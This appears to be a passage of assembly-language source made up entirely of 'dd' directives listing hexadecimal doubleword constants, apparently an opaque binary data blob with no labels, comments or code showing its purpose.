dd 835C489Ch, 0F5F188F6h, 0EA102040h, 4880C10Bh, 33C03C02h
dd 5150ABDBh, 0F7555703h, 0C8E1DA7Dh, 2A25D2F3h, 7FFC0C84h
dd 6594A9C3h, 3BDE1DC0h, 288552D1h, 0F8B487D2h, 380415B0h
dd 21CA00C8h, 39078BF3h, 0DA9C039Fh, 174D1952h, 5D66B1h
dd 7C9898Ch, 0DEFFF250h, 80D4DA34h, 432445E2h, 0C700A227h
dd 73A9AA3Ch, 12B661A4h, 218DA0h, 0F5EB44F0h, 0F4008308h
dd 778416C6h, 142B0650h, 0EC7959EDh, 599F3486h, 0D23EE900h
dd 0FCB5A250h, 65FA2886h, 23D1019Fh, 0E39BF1F2h, 5B8C51E2h
dd 2C64EE4Eh, 37E8000h, 285E5C07h, 0EC081ECFh, 490C1299h
dd 0F400AEA8h, 775BB458h, 0A54C4900h, 57A4C5E4h, 0AC030045h
dd 0DE9B702Fh, 60C01EA6h, 0E4D4E5Eh, 0A95060C5h, 862BF9FCh
dd 8D343100h, 569B7D19h, 1B70644h, 406F3211h, 0C6A1D363h
dd 0B4390051h, 6F4F1A6Bh, 6A004931h, 0AAAFC892h, 1859D261h
dd 28A7557Dh, 530CCF24h, 102397ECh, 458F011Eh, 0F224E3Eh
dd 115881FAh, 0D1048B5Eh
dd 28EA40CCh, 29346159h, 0A4A434h, 403C69BDh, 7C189E23h
dd 0E758B2CEh, 5A038009h, 391A6230h, 7554Eh, 0F2FDDF44h
dd 59EB615Eh, 8B627772h, 0A3742121h, 1EA01B4h, 96B053E1h
dd 0C0CC9BD2h, 100019FEh, 134286BEh, 3C68C2Ch, 3222804Ah
dd 6AC19B7Ch, 77DC5019h, 1648147h, 8888DD18h, 86103EFh
dd 8D55795Ah, 0E298D122h, 5076002Eh, 1C25B87Dh, 0A1150968h
dd 5F0194Eh, 79C50D8Ch, 27D1891h, 66DCBE4h, 34EBDA05h
dd 0C61D499Bh, 7BF2C7Fh, 173943Ah, 1FC1B180h, 0DF2930ACh
dd 0FABA1EF1h, 9C215B0Fh, 0EC1471E4h, 9D86B0CEh, 36F879D7h
dd 0DE9C2B0Ch, 54C6E11Ah, 0F8AC4Dh, 62E3DD5Fh, 9A5189D5h
dd 0DC2F2C0Fh, 0D3ED40B3h, 8456204Eh, 427E444h, 0BD3F94F8h
dd 259C8490h, 409C5390h, 0F6997358h, 9C010182h, 9DE78428h
dd 64600464h, 0F61F4045h, 5A599816h, 38A0CF09h, 1C4A2710h
dd 8124EA26h, 0FC55D082h, 1243018h, 42003C99h, 6D48B440h
dd 0ABD10033h, 3E9ED22Dh, 0CCB1D97Eh, 0C1647B0Ch, 0EADE006Ch
dd 9D60BDCCh, 2E7367D4h, 66997100h, 56221A15h, 0D79B2C84h
dd 112C6ADCh, 22DC4C3Fh, 0F77E0B55h, 0E1004638h, 0B2356471h
dd 47F454B2h, 2EA63300h, 20BFD472h, 5F0EEB7h, 0DB90A556h
dd 80A48412h, 9D5CCCDBh, 637C9600h, 0A3E0EAFCh, 59793084h
dd 0B05DCB71h, 49246400h, 416972BFh, 68FC00BDh, 0B785964Fh
dd 302204Ah, 3C027E7Fh, 9DD0C156h, 9F78F980h, 0B52FC230h
dd 0B08DC61Dh, 977DBD00h, 6E9CEC48h, 3CFB1B4h, 0F05CF119h
dd 0CD049339h, 6A243376h, 40D6C681h, 0AC8EFCh, 963B347Eh
dd 0CC217F23h, 1AA2F700h, 222406B3h, 11FA6104h, 803ADC7Eh
dd 64A48E29h, 741B940Ch, 5A8B3A63h, 38A41C2Ah, 3C802225h
dd 7EB1C8A2h, 7A093F2Eh, 85B990B5h, 803165Fh, 483BFA21h
dd 1A11AC29h, 0E7011B71h, 63DFA8C1h, 3FDD7A30h, 0D580C003h
dd 0ACF955BAh, 0A2008C27h, 0AE892595h, 345A0229h, 82894478h
dd 1256ED4h, 0E36B8820h, 1275A8h, 0E209AEFDh, 90DE5226h
dd 82F3823Ch, 3CD6D25Ch, 98384278h, 1EEB244Ch, 0C0719218h
dd 0B9C72230h, 0EC11A98Ah, 30EA2D5h, 2480899Bh, 0B6D2FC92h
dd 400024AAh, 509B73C4h, 8EB42D00h, 7961A985h, 992C00C9h
dd 38CEF01Dh, 0C6305F44h, 0B173C94Fh, 0EAC2EC72h, 0F742008Bh
dd 2B1A82E6h, 7A1FD64Bh, 0F9829D1Ch, 0E1C92625h, 422E228h
dd 36807E38h, 7CF351A0h, 0AA30E064h, 7D246048h, 744988Eh
dd 43AC8702h, 0A7F3C00Bh, 0D0198C25h, 0CA284E6Ah, 467CC8DBh
dd 26F8B0F2h, 6448D1ECh, 76826DFh, 0B5BA4CD9h, 21AE8001h
dd 0DE16E3F2h, 0EC20619Ch, 0E19C68Bh, 81175525h, 4E846DAEh
dd 12A8C80Ch, 7A480DE8h, 0BDB08098h, 0E4E540h, 8BEACAA4h
dd 72C45FBFh, 0B3441105h, 0B4C1BBDFh, 5700FE6Eh, 915663h
dd 172C2414h, 5C04F611h, 57021BF8h, 34224562h, 0AB98A1B0h
dd 954054EBh, 922E11h, 703F78D3h, 179F3363h, 98EA4DF0h
dd 7A5A620Ah, 3493FCA4h, 0D3004C24h, 1F87C499h, 0B6080579h
dd 0C291F9C0h, 1320EEACh, 13349D3Fh, 6D6377h, 9B6B1959h
dd 6800D1FDh, 20560EBh, 41C681h, 775E346Ah, 0ACE92721h
dd 0B88C0407h, 0FC60451Ch, 75A35E8h, 0D8881783h, 0B5F9A37Ah
dd 0E010C195h, 5B7180FDh, 9FA34B7Ch, 0ABF217C9h, 6F2C20C6h
dd 3D008812h, 8E68A239h, 58224DF9h, 19164880h, 506030F5h
dd 90022E23h, 0D7564B12h, 41EC94F1h, 0D6599389h, 0D44FD804h
dd 0E25B8080h, 3F8F71EFh, 617F046Eh, 0D0EB607Ch, 0E09711A1h
dd 0C63AE452h, 0A2E522ACh, 2B006884h, 5BA90183h, 0C939Ch
dd 0D0BA38D1h, 72601550h, 50355E24h, 0EA30FC47h, 1C3E5C46h
dd 42177764h, 0E0197C55h, 0CA08045Ah, 259502B5h, 63211087h
dd 70015832h, 9D3907E1h, 28E5E2h, 0E4461A88h, 0E0FAD0h
dd 5F37D312h, 5A731EF6h, 30526624h, 0B91A546h, 8A02494Bh
dd 0DDDF3982h, 14FF44E1h, 2EA3F4C2h, 23B459C0h, 5D122E18h
dd 5042D034h, 0A5E7E39Dh, 888A9C18h, 0C10DDF00h, 7E20D162h
dd 66D33F00h, 0EC64C659h, 16B8A4D6h, 21605A94h, 2D184E7Ch
dd 1E8980F8h, 96797DF2h, 953E8348h, 0F890252Ah, 0A107B586h
dd 2F9C1837h, 5917C2F2h, 2CDF87ACh, 47A04EA6h, 1FFAB7Dh
dd 0E878AC7Ch, 53283498h, 0D401A00Fh, 0CFEC3EA6h, 70450A9Ah
dd 0DFA5C60h, 0FFC4A809h, 181B0039h, 0A8EE3565h, 6918E6ECh
dd 8E31E004h, 5E823CFCh, 36C38A00h, 9C02165Ah, 2461B624h
dd 9B631C82h, 5A102CB5h, 83FD5E02h, 926559E9h, 0DE3887D8h
dd 87B8048h, 1EF3AC3Eh, 19E15332h, 920C4089h, 5E8A0078h
dd 49BCB1E8h, 0A01BBA1h, 0F48BDB96h, 0E5F8FCF7h, 0AA88266Ch
dd 0E43360E8h, 6F00656Dh, 23EF4A70h, 3EFFB925h, 6ABD4998h
dd 0D092A3A0h, 2236002h, 4825B0AEh, 0EC7010h, 0A16FD06Bh
dd 0C17FF932h, 820E0CFCh, 6F7D1402h, 0AAE7C41Ch, 514EC4C1h
dd 0B029B431h, 20D6578Eh, 0F01A21D8h, 0F8548226h, 8B1D142Bh
dd 0F4399D3Ah, 0F021B752h, 4C20177Dh, 0EC3DE81Eh, 0D0A65DD2h
dd 96388BC0h, 82008479h, 0BBA4D7FAh, 0F85A74F7h, 51171FB9h
dd 6C4005Dh, 9E3442FFh, 0DA6239C0h, 18792B6Ch, 0BE3D8FDBh
dd 0E40576B0h, 99F07A45h, 22898C1Eh, 0C6EB1h, 8129A87Dh
dd 194E2ED2h, 0BF6EA500h, 666B5CACh, 48830039h, 9830CD72h
dd 9C9861BDh, 88B9D1Ah, 2FB4041h, 11EB6401h, 314AC02Fh
dd 32720C04h, 0BCA8D607h, 8AD782D5h, 29E3B6h, 0D0D97BE4h
dd 0B354E7E5h, 2099EC27h, 0D3C79D2Ch, 0BC60507Ch, 0AC8F0024h
dd 3EA716CAh, 87058CE4h, 0F1DE5465h, 0A16980EEh, 19121786h
dd 78008BEDh, 9675E0F4h, 5C908Eh, 6259A3Dh, 0E33CF6D4h
dd 0E021833Fh, 584A7330h, 0C19DF092h, 79505310h, 28DEDD3Bh
dd 478A807Ch, 2173F01h, 82D3E407h, 0C563F4BDh, 57F64F98h
dd 0F30456E4h, 2CBA1DD0h, 2C60F0E0h, 38388A06h, 0F63478DCh
dd 89808848h, 0E6C2C001h, 911C2D0Bh, 8015061h, 88429FD3h
dd 805465D6h, 51977296h, 7F09DA05h, 825B87E8h, 7AC61CD0h
dd 0FE71DCh, 0F1560EBAh, 0CE7C5CB3h, 99EB0304h, 160BDDh
dd 625BB570h, 35092FACh, 2345DE9Ch, 53C66Ch, 7AEC4A49h
dd 254988C9h, 0C442960Fh, 204E4344h, 1912782h, 9FA2F020h
dd 10003D9Dh, 0D860CF36h, 0A8AA2CD3h, 68E354Ch, 0CEE34DA5h
dd 61B09017h, 0C3B890D1h, 925A7761h, 34A848FAh, 0E49AB3h
dd 6C79818h, 7C6EBC76h, 9E93943Bh, 0BAD74F21h, 87EA1848h
dd 0F019E1D2h, 3BBEA128h, 5D94F62Eh, 0F40B41Dh, 0BF178B1Ah
dd 40DC98E3h, 0F128218Ah, 7E0044D2h, 0C0446D33h, 18FCA185h
dd 116CDB7Ch, 55007318h, 45B8F321h, 3D6539h, 195B1FB9h
dd 4D3C71DEh, 610AF290h, 804EC6B1h, 8FFDB283h, 9E40AF55h
dd 1665F15h, 9CAF99C5h, 63D1ECABh, 7AD20064h, 5E6B1FE8h
dd 89873D9Dh, 20439818h, 0ACB39C1Eh, 0A523E70Eh, 6D8073A3h
dd 0F37C59h, 2186F4E3h, 0EF331735h, 82F81B1Eh, 81C01E00h
dd 2D5C0B71h, 88192225h, 70D1FA51h, 0EA12FE00h, 0D6467D59h
dd 7A4088C1h, 8894BE01h, 0CC579A42h, 987BC4h, 0E811F3F9h
dd 2D14DD45h, 0D1A0E433h, 0CC8BF7A3h, 45F70120h, 34CAB3F4h
dd 8B8C2428h, 0B0439C26h, 0F9A18440h, 0EB44025Eh, 88227710h
dd 50260C41h, 724C7D94h
dd 0B9EBB0Ah, 1E408804h, 13BBF63h, 0ED2B0EF9h, 8B1F7C2Ah
dd 68D6D4E8h, 1EDF2188h, 0A5D1C2h, 9056642Ah, 5A18956Ch
dd 7D813F61h, 745B497Ah, 701F1Eh, 0DDC357AFh, 0ED0FA836h
dd 0A094D627h, 0B51B6B08h, 0D304007Eh, 81020747h, 0A25B773Dh
dd 13D03449h, 0A02DA02Ch, 28532472h, 7CFA1138h, 38B118FCh
dd 0B018E469h, 0F15F4538h, 0CC39A07Ah, 0C072824h, 8BEDD788h
dd 10109BECh, 39C0627Bh, 1440E280h, 374500C2h, 1C51D09Dh
dd 5907A988h, 0EC58FAE3h, 1D52A4B4h, 5E0922F4h, 8337779Ah
dd 4806FFD4h, 0E22E870h, 0C8801C91h, 26C1DDFCh, 0E0690370h
dd 7E053F9Fh, 0EB08A1A0h, 41DF9831h, 0FF0A996h, 72B10636h
dd 716179A2h, 98009D78h, 2181AA42h, 25C6AC68h, 0C308F23h
dd 0B71F3CB8h, 0C596D76Bh, 0D30950D0h, 0E59070h, 922E8AAFh
dd 1FC997C4h, 0A98B5500h, 0DAE3F633h, 22654B9Ch, 3504C2B0h
dd 205AE054h, 6A8CA874h, 5603C600h, 312958E4h, 2C8F48A4h
dd 0C8829E8Bh, 7B259DD5h, 0C54C6400h, 120D01Bh, 0B285ED89h
dd 0C6223666h, 2E78FC90h, 2FDFA701h, 0FE3E839h, 4320A7D2h
dd 0AC12A02Eh, 0E42E8104h, 5289A65h, 0A8C66166h, 0B290C8C3h
dd 0C4001876h, 6F2E830Ch, 680021Fh, 5A31443Bh, 0FB047165h
dd 0BB3C0185h, 0BF0054B2h, 0FFB8B72Ch, 0E212FE7Dh, 9891043Eh
dd 0A420A6DEh, 8EA000ADh, 0D96BFDB9h, 40288280h, 0F100A474h
dd 357EA8C7h, 3C9DEA4Fh, 0F380048Ch, 639C020Ah, 0E001F0D8h
dd 0B36FD5C5h, 10693456h, 373E2D00h, 0F34F158Ch, 0D500AAE6h
dd 366EAB29h, 89B2E9h, 8D2D8799h, 0F009F41Dh, 3DFDCD00h
dd 317BA668h, 12D8EAB1h, 24E49B85h, 0D4A27Ch, 0BB9FA837h
dd 0E06E52h, 11B9E638h, 8902FC1Ah, 1067C52Dh, 762D0430h
dd 5FFA1D7Ah, 4AF1C0E6h, 0DB50E1F6h, 0AC3922FAh, 4013A67Bh
dd 0CA63E08h, 58C9B734h, 636EC104h, 638105CFh, 0C03C870Eh
dd 2059CEB1h, 789A67A0h, 6005A8ECh, 5D161804h, 56E5D48Dh
dd 80587B01h, 0D638EDA1h, 1042C7h, 0E623BFCBh, 32315B57h
dd 38E060E3h, 0E4E84E41h, 0D4341272h, 6138818Dh, 8B8897Fh
dd 0EE4B8A0h, 0D9CB0088h, 9163BF0Ch, 0FF002351h, 5DB16CC9h
dd 2A3ADB9h, 0DE9BFB2Fh, 0A05A4D79h, 589D9E44h, 139F18E2h
dd 8DF022CFh, 1F7EA040h, 7D01FAFCh, 300CC604h, 0CEF4CB22h
dd 5E8401B9h, 503CD71Eh, 2378319Ah, 630F7520h, 0C05BBDh
dd 0EFED886Eh, 4A39FA09h, 28A831EBh, 0F968BB18h, 0DC7D2C12h
dd 0CC23A490h, 6499CBF7h, 5BA46C00h, 1E180224h, 454154C5h
dd 0AC3000B3h, 440E892Ah, 57407991h, 0F7F13C8Ch, 0D7FC7D00h
dd 7484B80Bh, 0A0B28D00h, 0ED2616C1h, 0A4EE187Eh, 770D3160h
dd 0E1A73102h, 0E45439F7h, 13CBE8F4h, 12B0AAD3h, 7924CC10h
dd 244C4445h, 0BB9203C5h, 0E1301827h, 20B13800h, 5815E521h
dd 63E00B8h, 7EF30953h, 3507E82Eh, 0E977BFE1h, 6F27A2C0h
dd 24DDE807h, 7906286h, 30C788B8h, 4E55FDC2h, 30D2224Ah
dd 2FDC9001h, 5C647D8Ah, 0AECB34C1h, 78423CE4h, 13177707h
dd 94C4053h, 10C7EF2h, 211CB2B0h, 0A87C0574h, 0F41F4EF3h
dd 0C34EAA40h, 0AF6C1040h, 0FE721214h, 910906ECh, 304F1323h
dd 60A910EFh, 4CD7398h, 0FEC1783h, 0AA7880B5h, 0F0F27C02h
dd 3A722A00h, 554E5B5Fh, 40109C0Eh, 0C2DE6013h, 0E697AF00h
dd 74969E40h, 5CFCB01Ch, 0DF00E87Eh, 0F27C5CDDh, 260366B1h
dd 0D45B111Ah, 8DCAC05Fh, 9B0B14Ah, 0D061B809h, 7D570078h
dd 8C999555h, 68840D1h, 48288B5Dh, 0CD731C0Bh, 0C1004948h
dd 0B3AB1AAEh, 8027C042h, 7C5BAA30h, 5D150118h, 7D5A6A62h
dd 0D10C43h, 0B549A57Ah, 0ABB741F8h, 9C033005h, 18F021E0h
dd 20CE5AEBh, 0BFBCB204h, 0F91A1601h, 6AA891Ch, 0F63360h
dd 605BA99Bh, 8B6D3ECh, 1398B095h, 197F0379h, 44CE7860h
dd 0E6E24DE0h, 0AD294304h, 7E20C9F3h, 8D00DD32h, 5BB4859h
dd 0D2DCDA7Dh, 7210A111h, 0DB938014h, 988D8Eh, 9694F428h
dd 0EA0B360Eh, 3B0958E8h, 185BE5FDh, 87BC80h, 0D381D27Dh
dd 955D80AEh, 0AF3FC3FCh, 4DA38F79h, 9B964258h, 40CC56E3h
dd 5BB8047Ch, 800C355Ch, 0C0694259h, 13B7626h, 517DD1DEh
dd 0C466799Ch, 0AB7CC5A5h, 0C0F8F248h, 3646AA4Dh, 107105D8h
dd 98C4FCh, 6C05C3A4h, 0B8693C6Ah, 0E85908h, 5B9F02A1h
dd 50EBF236h, 0B611350Ch, 4E0CF609h, 2D6C181Eh, 909097E3h
dd 49265F30h, 34C468C0h, 1300ACB9h, 0CD2C2EE1h, 1116951Bh
dd 0F8495D21h, 4EB4C803h, 6E7D0016h, 2EE46C58h, 224C9F94h
dd 269B1EBAh, 98394742h, 0F47A01h, 0EFFA9CAFh, 0AD0D6318h
dd 1997FE01h, 4417CAD0h, 1677A820h, 0C8BF6C4Ah, 0C803A9CCh
dd 0ABC4997Eh, 0D6804860h, 0CB21267Dh, 0DB7840B0h, 0E75CDFA6h
dd 90A82560h, 0C2ED78h, 2FDD7256h, 0D599A1BEh, 7023AF8h
dd 342D57D8h, 7ADA209Ah, 0FC021683h, 0FDE0958Eh, 0B910C6B3h
dd 0EFAA8188h, 805C797Dh, 0D0339E11h, 1E0A82h, 895BDCD6h
dd 74AF149Ah, 0F152A32Ch, 1B8CE305h, 788AB082h, 0DDEB20CCh
dd 8EE07B4Ch, 59A06029h, 2E695F1Bh, 59D4B1C6h, 4CA80C16h
dd 87018454h, 59F47E8Ah, 0AB9370B4h, 85D42A05h, 0EC20BA8Ch
dd 5F5D659Ah, 2768BD64h, 5EE81039h, 2C280076h, 8963940Bh
dd 4630C695h, 6425386Dh, 9C670BE0h, 0F0485F3Bh, 59C517C6h
dd 0BCC04D93h, 9504355Eh, 13BE7CA0h, 4000E168h, 0F3C5B4A2h
dd 12ADA146h, 0F0F62866h, 9A0FE720h, 0E94CD0h, 25F058C8h
dd 0F48058EDh, 0E83BEC25h, 0E05FE3A0h, 0DFB5B000h, 59E541A3h
dd 7B4F1889h, 10C6C955h, 0CC8E6100h, 93F70ABh, 24FE06Ch
dd 9B9DF689h, 4C59568Bh, 5B7D9A11h, 215C30D5h, 0A9005EF6h
dd 0DA7E444Ah, 3275D0Fh, 7D23A351h, 11771032h, 295F1E34h
dd 0BCD758C5h, 439B16Ah, 357E9007h, 71B5C2FBh, 81E54C9h
dd 0F6A80577h, 0F2092C34h, 542F0EF8h, 0C8D4C9BCh, 1CCB195Ch
dd 1E4F8A5Eh, 0E2380F4h, 0E0619DD9h, 7204033Ch, 9B82790Fh
dd 6434D8h, 3AFE5C9Ch, 988E22Fh, 990197D7h, 72630080h
dd 0DA0B37E8h, 800BF4A2h, 0B146B988h, 0D66003Eh, 0CCA343E9h
dd 540710EAh, 3B816CDFh, 0F8FF6120h, 0C1840E9Ch, 9E603C33h
dd 6C19277Eh, 23041BE6h, 0F565E1F7h, 0ED2C8480h, 0FB7B00A8h
dd 25BB8970h, 5900A902h, 442D35DFh, 0A0AC57D2h, 0F86665B0h
dd 0F6230041h, 900E8E98h, 221A1206h, 4111991Eh, 299666FCh
dd 6C60207Bh, 7801C16Fh, 25D2C665h, 82EE348h, 0BE80ED48h
dd 0A0D57B3Dh, 8DD00FDh, 5E9568E6h, 8D03A821h, 35D2D462h
dd 0B43886B0h, 1DD760F4h, 3F017DB7h, 1E52C5D3h, 9C4D224h
dd 7E7F0090h, 5D32330Bh, 0C7269B7Dh, 5F11B4B9h, 8179571Bh
dd 0C81F7CC0h, 18756E2Eh, 204EFE02h, 0AA5C6874h, 4853A8Bh
dd 0A07BBE80h, 9BDA36A9h, 0A197E3FAh, 0AC92EB7Ch, 0E19CB3F3h
dd 0C502236Dh, 0A27D7066h, 1B433800h, 0EE410D14h, 7DC11E8Ah
dd 0FAC684E3h, 58E69Fh, 3D1B8B1Ch, 1CA4A1AEh, 528C3698h
dd 7B9C9217h, 60E48C4h, 7C4E5A52h, 304BFA00h, 2E417425h
dd 1198E062h, 0B4AA0C64h, 3ABC8B7h, 2EAC3D07h, 64F8198Bh
dd 0E304E90Ch, 5A8984A0h, 205CD892h, 36A61B97h, 0A0DDA300h
dd 81BC6CDEh, 0D03A00D6h, 7E1C568Dh, 5A1B2324h, 0C1A17A78h
dd 562FD59Ch, 2E3C837Ch
dd 0E4018589h, 0EE0533C0h, 591CEBDEh, 85648C4h, 8ACA4800h
dd 25175D8Bh, 0F068AED2h, 45417B57h, 2A0BE838h, 0AE0950C2h
dd 0C79E6810h, 2081430Eh, 0BC3043EEh, 5EB4F8E1h, 0E0514834h
dd 1B7D5982h, 5A012481h, 16943266h, 0C4300C4Eh, 298BE628h
dd 8844F641h, 0D4AC4D5Fh, 0AA51942Eh, 14C731D4h, 284B863Bh
dd 0CDE412Dh, 84093C1Ah, 88404C64h, 70C7CE13h, 0EECA4B03h
dd 0E82B1808h, 0F177CB5h, 0D0F31505h, 9709A400h, 0BE030DF4h
dd 0C6F5398Dh, 320CC0DBh, 0B6081D50h, 790A074Ah, 3C39B06Ah
dd 34A8B163h, 0AB7F1069h, 2EC2B50Fh, 361481B6h, 0A70585Dh
dd 0E8294892h, 93575104h, 0F6F08096h, 8A052C7h, 0A800EE32h
dd 0CF9C0F60h, 90027CF0h, 43590B4h, 90E6EC37h, 9CCA3ACh
dd 51E4DF9Dh, 0A111A8h, 886AD697h, 24F9C0B7h, 50C02024h
dd 0F688FDB4h, 7471269Ch, 0AC0B03E6h, 0D6CF0530h, 0F34A591Bh
dd 0BBBC8400h, 58607EF2h, 0C854B00Ch, 25A520E0h, 5820EB5Ah
dd 0E6A0E2ECh, 54AC0017h, 0F63B18DEh, 2A03951Ah, 2C939C23h
dd 8C14D072h, 0DCB402F4h, 8E1C6F25h, 4156DC84h, 0FC0E90AFh
dd 0F35BB640h, 77CA78EDh, 0F033AAEh, 0C97A6900h, 9C0618DBh
dd 0BAEC8A1Ch, 8E844402h, 78F1C3h, 7CE82FA3h, 0D078F267h
dd 0F04200B6h, 0DA08A0C5h, 50505618h, 7B6BC85h, 28AC5B22h
dd 639C50EAh, 21121B04h, 2CB28255h, 0AAE4F100h, 4D2733Bh
dd 3F01E2EAh, 3D3E2DEEh, 413B7983h, 0EF85E54h, 1F86F4CCh
dd 0B8381300h, 41CEF0D1h, 19751F27h, 895D00C4h, 0FBC26FC9h
dd 44495E2Dh, 0E98B22DCh, 710038A6h, 80864351h, 5C96A6F5h
dd 49018B9Ah, 0B554F70Bh, 0C522E4FFh, 0E900C091h, 9101E582h
dd 0C8C34E2Bh, 60E081Ch, 81BACEC5h, 0B334AA80h, 6B2B6810h
dd 4CE4EE03h, 0E0F8EC3Fh, 3CDC741Fh, 1AC8E1DDh, 0E61A201h
dd 20220670h, 8A09FA4h, 5927EADAh, 244C2664h, 9858BA20h
dd 52D6077Ch, 0ABB97107h, 11D72C86h, 2138DEh, 0D30D228h
dd 0C5E8D1DAh, 0EF00ECA4h, 7760F4Bh, 985E0538h, 0B6A19884h
dd 3EA64134h, 4832B3h, 5BB1661Ch, 45D5621h, 1055D45Eh
dd 89E0EDE4h, 334B80B1h, 58A80999h, 313C10ECh, 405EB8C8h
dd 27B2880Ch, 4C94217Eh, 9EF20478h, 9461C9ACh, 1925D71Bh
dd 0DBA80956h, 0E700BD64h, 6E339F37h, 0FBF09B8Eh, 9AC6F400h
dd 39AA927Ah, 126D1826h, 0C18C08D4h, 5A2E8601h, 0A7921C9Bh
dd 5982042Dh, 7D201763h, 4C532218h, 6011CC7Eh, 89487C56h
dd 71A91678h, 81D45C05h, 9CD1C885h, 5440478Ah, 4E82D609h
dd 79808223h, 6B00D064h, 9C78F2B5h, 2E90AE58h, 140CB4E3h
dd 0BC8090E1h, 0E79CEAFBh, 6C40354Bh, 6A38EC5Fh, 0DC10B530h
dd 7F00BBB6h, 0D3C192FDh, 7C5CD5h, 1ED69C79h, 2646148Ch
dd 5E50EB48h, 51FC2400h, 27ECA6C0h, 1C6BC29Bh, 5100E883h
dd 11945E5Fh, 70BA6EE6h, 4A6B1240h, 41F201B8h, 416F01B7h
dd 101D5F94h, 0CDEF7Ch, 0C8779D93h, 6B1DA7Bh, 5F0D9F78h
dd 30056607h, 0F81456D1h, 8012C0A8h, 0B1F525h, 1BC723BCh
dd 3D0E745Eh, 0EA7EF70Fh, 7339C25Fh, 7DE446A9h, 7268F206h
dd 3BA40060h, 27A5DF40h, 911C8386h, 0BF5F8Eh, 7FFD626Ah
dd 0FBD13102h, 38A589Fh, 0ABF96BBFh, 77C7C8E0h, 0F6245A2Fh
dd 0E19032CBh, 484A0441h, 0AB0441E0h, 5F5A9583h, 0CEA020ECh
dd 0EB00FE18h, 0C1C5650Dh, 0C8C3AAh, 0B202277Eh, 0D4E16422h
dd 0A079F22Fh, 0AA1390C8h, 0C5FF00DCh, 45EBE0B5h, 0D338E24Dh
dd 0DFAB89D8h, 0A0F965h, 0CBE5022Eh, 0E01E2AC9h, 7D121986h
dd 0AF219C1Ah, 8D8B84A8h, 0D91224B8h, 7BF4C0F7h, 0E3751C0Dh
dd 4D8B7C01h, 1D218217h, 0EC093022h, 40D19CD4h, 9EE86014h
dd 43A582C1h, 0A0610D77h, 0A0B21844h, 7D067EA0h, 3D2E9A1Dh
dd 43BD8C40h, 12FCAC36h, 0F3A6C669h, 0DE9D0A18h, 0D50844EEh
dd 40D4AE97h, 71764F8Ah, 8B80E901h, 0E52E2B19h, 0CC80443Ch
dd 5D609A53h, 2CFC644Ch, 4E1E8A4h, 608002F8h, 406FDE5Eh
dd 14A787Fh, 19B4C8h, 0F3B68324h, 0F6289036h, 0AF583DFCh
dd 71A201D2h, 4D8ADBA8h, 0A7C87828h, 84406044h, 0A82667C6h
dd 91160498h, 60A2A0E4h, 0B69C9782h, 5FEC1064h, 33390203h
dd 0F2A00BF3h, 0B3088277h, 3CDAC6h, 9F0C6A18h, 6FDFE1D3h
dd 50B5547Ah, 97BCBACBh, 1A0017F8h, 2BFE7FE9h, 0C05F0322h
dd 0EA43F811h, 0DA00BCA8h, 9D2AEE33h, 965E4C8Fh, 0B1CF7Ch
dd 0BFDAB057h, 0AAAB55h, 33A646B9h, 2CD2BEB4h, 0C8607705h
dd 0A4D435F5h, 0F33964F2h, 809049B4h, 84A10C38h, 0A820024Bh
dd 0A9AE2Bh, 0F0EA2918h, 9BF7999Ch, 0CA3DBC01h, 0DF614BC5h
dd 3C66FCh, 5D0FE8A0h, 4F44D9Ah, 0EC09A0C0h, 0C05EC799h
dd 0D3468BF0h, 694B224Eh, 98CC9C24h, 0EB320BC8h, 6C62F997h
dd 2C00F459h, 0E8F54D6h, 0F18E0027h, 499788F6h, 28278AE4h
dd 1F3440A5h, 78578862h, 0C4A7A8B1h, 0EBDE0750h, 21AECCC1h
dd 0C8461261h, 0A100F197h, 0D64720BBh, 6521C992h, 0B82750BAh
dd 9D40A168h, 45B1ECh, 71ED3ACh, 0EF6EE096h, 0F73A7A00h
dd 7112FAEBh, 0C6B1027Eh, 0B75E7D54h, 8059A041h, 9634410h
dd 8381FE4Dh, 680C2842h, 0F6411C28h, 58242834h, 0E0E1279Dh
dd 0F97EC8B8h, 0BDF8611Ch, 360A847h, 0A1B45A13h, 26E0C605h
dd 0AC5A02h, 0FA66ADA4h, 15E71E21h, 74214C85h, 74606525h
dd 79220189h, 0F9C0C3C4h, 88682C1Ch, 0F090A75Ah, 670002F9h
dd 0C0ACEB06h, 99A19E64h, 803CB58h, 41095E27h, 41CAB8Ah
dd 5940F744h, 5E3ED3E4h, 2B09C092h, 996082D4h, 8807DD58h
dd 98851016h, 21FC1880h, 95B4B9CCh, 552068DCh, 0E5D59B14h
dd 8118889Ch, 582A463Eh, 48642F2Ch, 0DDE34880h, 0C8604A9Ch
dd 6D81BDD4h, 0E0A6C704h, 0C6AC89DBh, 5075A234h, 9A808CE8h
dd 50D80FC0h, 0AD36F900h, 45E3664Ah, 0B2DD0AE7h, 0A4ACBACCh
dd 198208A4h, 2D72F304h, 5857EC88h, 18C8B87Ah, 0D05F0640h
dd 2735F31h, 7CBDD554h, 3B0A8080h, 7E00884Ah, 0B7453F34h
dd 1831A1AAh, 113EDC7Dh, 9680421h, 2408C829h, 7E808160h
dd 3C33622Eh, 35088034h, 3A2DACEh, 0F9D1E16Ah, 54B0F582h
dd 5D17051Ah, 431234Eh, 63D9DE53h, 0F93ABF8h, 6C262B32h
dd 0C7AEF4A0h, 1C16F71Dh, 54E5AA8Bh, 2846BDCh, 7E9AF37Ch
dd 0E88E665Dh, 6182032h, 348ED2Ch, 80BC89BCh, 0B20DBE3Eh
dd 44970025h, 78DEEB95h, 0FA1C4B17h, 9603F454h, 0C2518C28h
dd 8AC4C0BDh, 231F00BEh, 57D51404h, 68B863B4h, 83C0035Ch
dd 88205EF3h, 0FDE8516h, 0D228802Bh, 0D1DC0D23h, 3A9DEBE9h
dd 0F3D39023h, 5E58A005h, 9C9524F2h, 0C0F01E40h, 93863EBAh
dd 6200337Eh, 0A1A3D96Ah, 259A5019h, 86A5D61h, 13D54D9h
dd 45D94416h, 21F02461h, 9F0005Eh, 60D30E05h, 0D891C041h
dd 0DF047864h, 6478A00Fh, 9094BDh, 0B73DF4C1h, 82BA7238h
dd 121C3E3Eh, 0CC088C32h, 0B8EFC584h, 0D4540FA0h, 19A42B83h
dd 80226374h, 590BF45Dh, 1CEE4E7Dh, 2EBFA700h, 38077927h
dd 5E0E7C36h, 9482A29h, 98EC8B9Dh, 96195510h, 1EFE4078h
dd 4606C92Ch, 7F00403h, 40C55E18h, 50C46110h, 60409ECh
dd 7C96BCA0h, 0E0885CC4h, 0CC8C491Bh, 0B18631C0h, 5E0077D3h
dd 0C9F78197h, 95C86BC2h, 24B0CC2Ah, 44A22594h, 3CD1E0D7h
dd 9AEB1385h, 0D29320BCh
